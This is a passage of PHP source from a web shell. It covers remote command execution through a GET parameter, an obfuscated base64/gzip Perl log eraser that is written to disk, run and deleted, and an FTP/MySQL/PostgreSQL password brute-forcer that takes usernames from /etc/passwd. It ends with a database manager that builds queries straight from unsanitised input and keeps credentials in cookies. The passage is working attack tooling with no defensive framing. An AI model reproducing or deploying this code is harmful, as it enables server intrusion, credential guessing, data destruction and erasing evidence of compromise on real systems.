4356 $erase = gzinflate(base64_decode("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"));
4357 if (is_writable(".")) {
4358 if ($openp = fopen(getcwd() . "/logseraser.pl", 'w')) {
4359 fwrite($openp, $erase);
4360 fclose($openp);
4361 passthru("perl logseraser.pl linux");
4362 unlink("logseraser.pl");
4363 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
4364 }
4365 } else {
4366 if ($openp = fopen("/tmp/logseraser.pl", 'w')) {
4367 fwrite($openp, $erase) or die("Error");
4368 fclose($openp);
4369 $aidx = passthru("perl logseraser.pl linux");
4370 unlink("logseraser.pl");
4371 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
4372 }
4373 }
4374 } else {
4375 $check = shell_exec($_GET['mycmd']);
4376 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
4377 }
4378} else if (isset($_GET['prototype'])) {
4379 echo '<h1>Results</h1><div><span>Type:</span> ' . htmlspecialchars($_GET['prototype']) . ' <span><br>Server:</span> ' . htmlspecialchars($_GET['serverport']) . '<br>';
4380 if ($_GET['prototype'] == 'ftp') {
4381 function BruteFun($ip, $port, $login, $pass) {
4382 $fp = @ftp_connect($ip, $port ? $port : 21);
4383 if (!$fp) return false;
4384 $res = @ftp_login($fp, $login, $pass);
4385 @ftp_close($fp);
4386 return $res;
4387 }
4388 } elseif ($_GET['prototype'] == 'mysql') {
4389 function BruteFun($ip, $port, $login, $pass) {
4390 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
4391 @mysql_close($res);
4392 return $res;
4393 }
4394 } elseif ($_GET['prototype'] == 'pgsql') {
4395 function BruteFun($ip, $port, $login, $pass) {
4396 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
4397 $res = @pg_connect($str);
4398 @pg_close($res);
4399 return $res;
4400 }
4401 }
4402 $success = 0;
4403 $attempts = 0;
4404 $server = explode(":", $_GET['server']);
4405 if ($_GET['type'] == 1) {
4406 $temp = @file('/etc/passwd');
4407 if (is_array($temp)) foreach ($temp as $line) {
4408 $line = explode(":", $line);
4409 ++$attempts;
4410 if (BruteFun(@$server[0], @$server[1], $line[0], $line[0])) {
4411 $success++;
4412 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
4413 }
4414 if (@$_GET['reverse']) {
4415 $tmp = "";
4416 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
4417 ++$attempts;
4418 if (BruteFun(@$server[0], @$server[1], $line[0], $tmp)) {
4419 $success++;
4420 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
4421 }
4422 }
4423 }
4424 } elseif ($_GET['type'] == 2) {
4425 $temp = @file($_GET['dict']);
4426 if (is_array($temp)) foreach ($temp as $line) {
4427 $line = trim($line);
4428 ++$attempts;
4429 if (BruteFun($server[0], @$server[1], $_GET['login'], $line)) {
4430 $success++;
4431 echo '<b>' . htmlspecialchars($_GET['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
4432 }
4433 }
4434 }
4435 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
4436}
4437// Execute Query
4438else if (isset($_GET["executeit"])) {
4439 if (isset($_GET['username']) && isset($_GET['server'])) {
4440 $dbserver = $_GET['server'];
4441 $dbuser = $_GET['username'];
4442 $dbpass = $_GET['password'];
4443 if (mysql_connect($dbserver, $dbuser, $dbpass)) {
4444 setcookie("dbserver", $dbserver);
4445 setcookie("dbuser", $dbuser);
4446 setcookie("dbpass", $dbpass);
4447 listdatabase();
4448 } else echo "cannotconnect";
4449 }
4450} else if (isset($_GET['action']) && isset($_GET['dbname'])) {
4451 if ($_GET['action'] == "createDB") {
4452 $dbname = $_GET['dbname'];
4453 $dbserver = $_COOKIE["dbserver"];
4454 $dbuser = $_COOKIE["dbuser"];
4455 $dbpass = $_COOKIE["dbpass"];
4456 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4457 mysql_query("create database $dbname", $mysqlHandle);
4458 listdatabase();
4459 }
4460 if ($_GET['action'] == 'dropDB') {
4461 $dbname = $_GET['dbname'];
4462 $dbserver = $_COOKIE["dbserver"];
4463 $dbuser = $_COOKIE["dbuser"];
4464 $dbpass = $_COOKIE["dbpass"];
4465 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4466 mysql_query("drop database $dbname", $mysqlHandle);
4467 mysql_close($mysqlHandle);
4468 listdatabase();
4469 }
4470 if ($_GET['action'] == 'listTables') {
4471 listtable();
4472 }
4473 // Create Tables
4474 if ($_GET['action'] == "createtable") {
4475 $dbserver = $_COOKIE["dbserver"];
4476 $dbuser = $_COOKIE["dbuser"];
4477 $dbpass = $_COOKIE["dbpass"];
4478 $dbname = $_GET['dbname'];
4479 $tablename = $_GET['tablename'];
4480 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4481 mysql_select_db($dbname);
4482 mysql_query("CREATE TABLE $tablename ( no INT )");
4483 listtable();
4484 }
4485 // Drop Tables
4486 if ($_GET['action'] == "dropTable") {
4487 $dbserver = $_COOKIE["dbserver"];
4488 $dbuser = $_COOKIE["dbuser"];
4489 $dbpass = $_COOKIE["dbpass"];
4490 $dbname = $_GET['dbname'];
4491 $tablename = $_GET['tablename'];
4492 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4493 mysql_select_db($dbname);
4494 mysql_query("drop table $tablename");
4495 listtable();
4496 }
4497 // Empty Tables
4498 if ($_GET['action'] == "empty") {
4499 $dbserver = $_COOKIE["dbserver"];
4500 $dbuser = $_COOKIE["dbuser"];
4501 $dbpass = $_COOKIE["dbpass"];
4502 $dbname = $_GET['dbname'];
4503 $tablename = $_GET['tablename'];
4504 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4505 mysql_select_db($dbname);
4506 mysql_query("delete from $tablename");
4507 listtable();
4508 }
4509 // Empty Tables
4510 if ($_GET['action'] == "dropField") {
4511 $dbserver = $_COOKIE["dbserver"];
4512 $dbuser = $_COOKIE["dbuser"];
4513 $dbpass = $_COOKIE["dbpass"];
4514 $dbname = $_GET['dbname'];
4515 $tablename = $_GET['tablename'];
4516 $fieldname = $_GET['fieldname'];
4517 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4518 mysql_select_db($dbname);
4519 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
4520 mysql_select_db($dbname, $mysqlHandle);
4521 mysql_query($queryStr, $mysqlHandle);
4522 listtable();
4523 }
4524 if ($_GET['action'] == 'viewdb') {
4525 listdatabase();
4526 }
4527 // View Table Schema
4528 if ($_GET['action'] == "viewSchema") {
4529 $dbserver = $_COOKIE["dbserver"];
4530 $dbuser = $_COOKIE["dbuser"];
4531 $dbpass = $_COOKIE["dbpass"];
4532 $dbname = $_GET['dbname'];
4533 $tablename = $_GET['tablename'];
4534 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4535 mysql_select_db($dbname);
4536 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4537 $pResult = mysql_query("SHOW fields FROM $tablename");
4538 $num = mysql_num_rows($pResult);
4539 echo "<br><br><table class=btmtbl align=center cellspacing=4 style='width:80%;' border=1>";
4540 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
4541 for ($i = 0;$i < $num;$i++) {
4542 $field = mysql_fetch_array($pResult);
4543 echo "<tr>
4544";
4545 echo "<td>" . $field["Field"] . "</td>
4546";
4547 echo "<td>" . $field["Type"] . "</td>
4548";
4549 echo "<td>" . $field["Null"] . "</td>
4550";
4551 echo "<td>" . $field["Key"] . "</td>
4552";
4553 echo "<td>" . $field["Default"] . "</td>
4554";
4555 echo "<td>" . $field["Extra"] . "</td>
4556";
4557 $fieldname = $field["Field"];
4558 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>
4559";
4560 echo "</tr>
4561";
4562 }
4563 echo "</table>";
4564 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4565 }
4566 // Execute Query
4567 if ($_GET['action'] == "executequery") {
4568 $dbserver = $_COOKIE["dbserver"];
4569 $dbuser = $_COOKIE["dbuser"];
4570 $dbpass = $_COOKIE["dbpass"];
4571 $dbname = $_GET['dbname'];
4572 $tablename = $_GET['tablename'];
4573 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4574 mysql_select_db($dbname);
4575 $result = mysql_query($_GET['executemyquery']);
4576 // results
4577 echo "<html>
4578" . strtoupper($_GET['executemyquery']) . "<br>
4579<table border =\"1\">
4580";
4581 $count = 0;
4582 while ($row = mysql_fetch_assoc($result)) {
4583 echo "<tr>
4584";
4585 if ($count == 0) // list column names
4586 {
4587 echo "<tr>
4588";
4589 while ($key = key($row)) {
4590 echo "<td><b>" . $key . "</b></td>
4591";
4592 next($row);
4593 }
4594 echo "</tr>
4595";
4596 }
4597 foreach ($row as $r) // list content of column names
4598 {
4599 if ($r == '') $r = '<font >NULL</font>';
4600 echo "<td><font class=txt>" . $r . "</font></td>
4601";
4602 }
4603 echo "</tr>
4604";
4605 $count++;
4606 }
4607 echo "</table>
4608
4609<font class=txt size=3>" . $count . " rows returned.</font>
4610</html>";
4611 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4612 }
4613 // View Table Data
4614 if ($_GET['action'] == "viewdata") {
4615 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4616 $dbserver = $_COOKIE["dbserver"];
4617 $dbuser = $_COOKIE["dbuser"];
4618 $dbpass = $_COOKIE["dbpass"];
4619 $dbname = $_GET['dbname'];
4620 $tablename = $_GET['tablename'];
4621 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4622?>
4623 <br><br>
4624 <form>
4625 <table>
4626 <tr>
4627 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
4628 </tr>
4629 <tr>
4630 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname']; ?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
4631 </tr>
4632 </table>
4633 </form>
4634 <?php
4635 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4636 mysql_select_db($dbname);
4637 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4638 $row = mysql_fetch_array($sql);
4639 $rowid = $row['COLUMN_NAME'];
4640 echo "<br><font size=4>Data in Table</font><br>";
4641 if ($tablename != "") echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
4642 else echo "<font size=3 class=txt>$dbname</font><br>";
4643 $queryStr = "";
4644 $pag = 0;
4645 $queryStr = stripslashes($queryStr);
4646 if ($queryStr == "") {
4647 if (isset($_REQUEST['page'])) {
4648 $res = mysql_query("select * from $tablename");
4649 $getres = mysql_num_rows($res);
4650 $coun = ceil($getres / 30);
4651 if ($_REQUEST['page'] != 1) $pag = $_REQUEST['page'] * 30;
4652 else $pag = $_REQUEST['page'] * 30;
4653 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
4654 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
4655 $arrcount = 1;
4656 $arrdata[$arrcount] = 0;
4657 while ($row = mysql_fetch_array($sql)) {
4658 $arrdata[$arrcount] = $row[$rowid];
4659 $arrcount++;
4660 }
4661 } else {
4662 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
4663 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
4664 $arrcount = 1;
4665 $arrdata[$arrcount] = 0;
4666 while ($row = mysql_fetch_array($sql)) {
4667 $arrdata[$arrcount] = $row[$rowid];
4668 $arrcount++;
4669 }
4670 }
4671 if ($orderby != "") $queryStr.= " ORDER BY $orderby";
4672 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>
4673";
4674 }
4675 $pResult = mysql_query($queryStr);
4676 $fieldt = mysql_fetch_field($pResult);
4677 $tablename = $fieldt->table;
4678 $errMsg = mysql_error();
4679 $GLOBALS[queryStr] = $queryStr;
4680 if ($pResult == false) {
4681 echoQueryResult();
4682 return;
4683 }
4684 if ($pResult == 1) {
4685 $errMsg = "Success";
4686 echoQueryResult();
4687 return;
4688 }
4689 echo "<hr color='#1B1B1B'>
4690";
4691 $row = mysql_num_rows($pResult);
4692 $col = mysql_num_fields($pResult);
4693 if ($row == 0) {
4694 echo "<font size=3>No Data Exist!</font>";
4695 return;
4696 }
4697 if ($rowperpage == "") $rowperpage = 30;
4698 if ($page == "") $page = 0;
4699 else $page--;
4700 mysql_data_seek($pResult, $page * $rowperpage);
4701 echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 align=center>
4702";
4703 echo "<tr>
4704";
4705 for ($i = 0;$i < $col;$i++) {
4706 $field = mysql_fetch_field($pResult, $i);
4707 echo "<th>";
4708 if ($action == "viewdata") echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=" . $field->name . "'>" . $field->name . "</a>
4709";
4710 else echo $field->name . "
4711";
4712 echo "</th>
4713";
4714 }
4715 echo "<th colspan=2>Action</th>
4716";
4717 echo "</tr>
4718";
4719 $num = 1;
4720 $acount = 1;
4721 for ($i = 0;$i < $rowperpage;$i++) {
4722 $rowArray = mysql_fetch_row($pResult);
4723 if ($rowArray == false) break;
4724 echo "<tr>
4725";
4726 $key = "";
4727 for ($j = 0;$j < $col;$j++) {
4728 $data = $rowArray[$j];
4729 $field = mysql_fetch_field($pResult, $j);
4730 if ($field->primary_key == 1) $key.= "&" . $field->name . "=" . $data;
4731 if (strlen($data) > 30) $data = substr($data, 0, 30) . "...";
4732 $data = htmlspecialchars($data);
4733 echo "<td>
4734";
4735 echo "<font class=txt>$data</font>
4736";
4737 echo "</td>
4738";
4739 }
4740 if (!is_numeric($arrdata[$acount])) echo "<td colspan=2>No Key</td>
4741";
4742 else {
4743 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>
4744";
4745 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>
4746";
4747 $acount++;
4748 }
4749 }
4750 echo "</tr>
4751";
4752 echo "</table>";
4753 if ($arrcount > 30) {
4754 $res = mysql_query("select * from $tablename");
4755 $getres = mysql_num_rows($res);
4756 $coun = ceil($getres / 30);
4757 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
4758 for ($i = 0;$i < $coun;$i++) echo "<option value=$i>$i</option>";
4759 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
4760 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4761 }
4762 }
4763 // Delete Table Data
4764 if ($_GET['action'] == "deleteData") {
4765 $dbserver = $_COOKIE["dbserver"];
4766 $dbuser = $_COOKIE["dbuser"];
4767 $dbpass = $_COOKIE["dbpass"];
4768 $dbname = $_GET['dbname'];
4769 $tablename = $_GET['tablename'];
4770 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4771 mysql_select_db($dbname);
4772 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4773 $row = mysql_fetch_array($sql);
4774 $row = $row['COLUMN_NAME'];
4775 $rowid = $_GET[$row];
4776 mysql_query("delete from $tablename where $row = '$rowid'");
4777 listtable();
4778 }
4779 // Edit Table Data
4780 if ($_GET['action'] == "editData") {
4781 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4782 $dbserver = $_COOKIE["dbserver"];
4783 $dbuser = $_COOKIE["dbuser"];
4784 $dbpass = $_COOKIE["dbpass"];
4785 $dbname = $_GET['dbname'];
4786 $tablename = $_GET['tablename'];
4787 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4788?>
4789 <br><br>
4790 <form action="<?php echo $self; ?>" method="post">
4791 <?php
4792 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4793 mysql_select_db($dbname);
4794 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4795 $row = mysql_fetch_array($sql);
4796 $row = $row['COLUMN_NAME'];
4797 $rowid = $_GET[$row];
4798 $pResult = mysql_list_fields($dbname, $tablename);
4799 $num = mysql_num_fields($pResult);
4800 $key = "";
4801 for ($i = 0;$i < $num;$i++) {
4802 $field = mysql_fetch_field($pResult, $i);
4803 if ($field->primary_key == 1) if ($field->numeric == 1) $key.= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
4804 else $key.= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
4805 }
4806 $key = substr($key, 0, strlen($key) - 4);
4807 mysql_select_db($dbname, $mysqlHandle);
4808 $pResult = mysql_query($queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle);
4809 $data = mysql_fetch_array($pResult);
4810 echo "<table class=btmtbl cellspacing=1 cellpadding=2 border=1>
4811";
4812 echo "<tr>
4813";
4814 echo "<th>Name</th>
4815";
4816 echo "<th>Type</th>
4817";
4818 echo "<th>Function</th>
4819";
4820 echo "<th>Data</th>
4821";
4822 echo "</tr>
4823";
4824 $pResult = mysql_db_query($dbname, "SHOW fields FROM $tablename");
4825 $num = mysql_num_rows($pResult);
4826 $pResultLen = mysql_list_fields($dbname, $tablename);
4827 $fundata1 = "'action','editsubmitData','dbname','" . $dbname . "','tablename','" . $tablename . "',";
4828 $fundata2 = "'action','insertdata','dbname','" . $dbname . "','tablename','" . $tablename . "',";
4829 for ($i = 0;$i < $num;$i++) {
4830 $field = mysql_fetch_array($pResult);
4831 $fieldname = $field["Field"];
4832 $fieldtype = $field["Type"];
4833 $len = mysql_field_len($pResultLen, $i);
4834 echo "<tr>";
4835 echo "<td>$fieldname</td>";
4836 echo "<td>" . $field["Type"] . "</td>";
4837 echo "<td>
4838";
4839 echo "<select name=${fieldname}_function class=sbox>
4840";
4841 echo "<option>
4842";
4843 echo "<option>ASCII
4844";
4845 echo "<option>CHAR
4846";
4847 echo "<option>SOUNDEX
4848";
4849 echo "<option>CURDATE
4850";
4851 echo "<option>CURTIME
4852";
4853 echo "<option>FROM_DAYS
4854";
4855 echo "<option>FROM_UNIXTIME
4856";
4857 echo "<option>NOW
4858";
4859 echo "<option>PASSWORD
4860";
4861 echo "<option>PERIOD_ADD
4862";
4863 echo "<option>PERIOD_DIFF
4864";
4865 echo "<option>TO_DAYS
4866";
4867 echo "<option>USER
4868";
4869 echo "<option>WEEKDAY
4870";
4871 echo "<option>RAND
4872";
4873 echo "</select>
4874";
4875 echo "</td>
4876";
4877 $value = htmlspecialchars($data[$i]);
4878 $type = strtok($fieldtype, " (,)
4879");
4880 if ($type == "enum" || $type == "set") {
4881 echo "<td>
4882";
4883 if ($type == "enum") echo "<select name=$fieldname class=box>
4884";
4885 else if ($type == "set") echo "<select name=$fieldname size=4 class=box multiple>
4886";
4887 while ($str = strtok("'")) {
4888 if ($value == $str) echo "<option selected>$str
4889";
4890 else echo "<option>$str
4891";
4892 strtok("'");
4893 }
4894 echo "</select>
4895";
4896 echo "</td>
4897";
4898 } else {
4899 if ($len < 40) echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>
4900";
4901 else echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>
4902";
4903 }
4904 $fundata1.= "'dhanush_" . $fieldname . "',dhanush_" . $fieldname . ".value,";
4905 $fundata2.= "'dhanush_" . $fieldname . "',dhanush_" . $fieldname . ".value,";
4906 echo "</tr>";
4907 }
4908 $fundata1 = eregi_replace(',$', '', $fundata1);
4909 $fundata2 = eregi_replace(',$', '', $fundata2);
4910 echo "</table><p>
4911";
4912 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>
4913";
4914 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>
4915";
4916 echo "</form>
4917";
4918 }
4919}
4920// Edit Submit Table Data
4921else if ($_REQUEST['action'] == "editsubmitData") {
4922 $dbserver = $_COOKIE["dbserver"];
4923 $dbuser = $_COOKIE["dbuser"];
4924 $dbpass = $_COOKIE["dbpass"];
4925 $dbname = $_POST['dbname'];
4926 $tablename = $_POST['tablename'];
4927 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4928 mysql_select_db($dbname);
4929 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4930 $row = mysql_fetch_array($sql);
4931 $row = $row['COLUMN_NAME'];
4932 $rowid = $_POST[$row];
4933 $pResult = mysql_db_query($dbname, "SHOW fields FROM $tablename");
4934 $num = mysql_num_rows($pResult);
4935 $rowcount = $num;
4936 $pResultLen = mysql_list_fields($dbname, $tablename);
4937 for ($i = 0;$i < $num;$i++) {
4938 $field = mysql_fetch_array($pResult);
4939 $fieldname = $field["Field"];
4940 $arrdata = $_REQUEST[$fieldname];
4941 $str.= " " . $fieldname . " = '" . $arrdata . "'";
4942 $rowcount--;
4943 if ($rowcount != 0) $str.= ",";
4944 }
4945 $str = "update $tablename set" . $str . " where $row=$rowid";
4946 mysql_query($str);
4947?><div id="showsql"></div><?php
4948}
4949// Insert Table Data
4950else if ($_REQUEST['action'] == "insertdata") {
4951 $dbserver = $_COOKIE["dbserver"];
4952 $dbuser = $_COOKIE["dbuser"];
4953 $dbpass = $_COOKIE["dbpass"];
4954 $dbname = $_POST['dbname'];
4955 $tablename = $_POST['tablename'];
4956 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4957 mysql_select_db($dbname);
4958 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4959 $row = mysql_fetch_array($sql);
4960 $row = $row['COLUMN_NAME'];
4961 $rowid = $_POST[$row];
4962 $pResult = mysql_db_query($dbname, "SHOW fields FROM $tablename");
4963 $num = mysql_num_rows($pResult);
4964 $rowcount = $num;
4965 $pResultLen = mysql_list_fields($dbname, $tablename);
4966 for ($i = 0;$i < $num;$i++) {
4967 $field = mysql_fetch_array($pResult);
4968 $fieldname = $field["Field"];
4969 $arrdata = $_REQUEST[$fieldname];
4970 $str1.= "" . $fieldname . ",";
4971 $str2.= "'" . $arrdata . "',";
4972 $rowcount--;
4973 if ($rowcount != 0) {
4974 //$str1 .= $fieldname . ",";
4975 //$str2 .= $arrdata . ",";
4976
4977 }
4978 }
4979 $str1 = eregi_replace(',$', '', $str1);
4980 $str2 = eregi_replace(',$', '', $str2);
4981 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
4982 mysql_query($str);
4983?><div id="showsql"></div><?php
4984} else if (isset($_GET['logoutdb'])) {
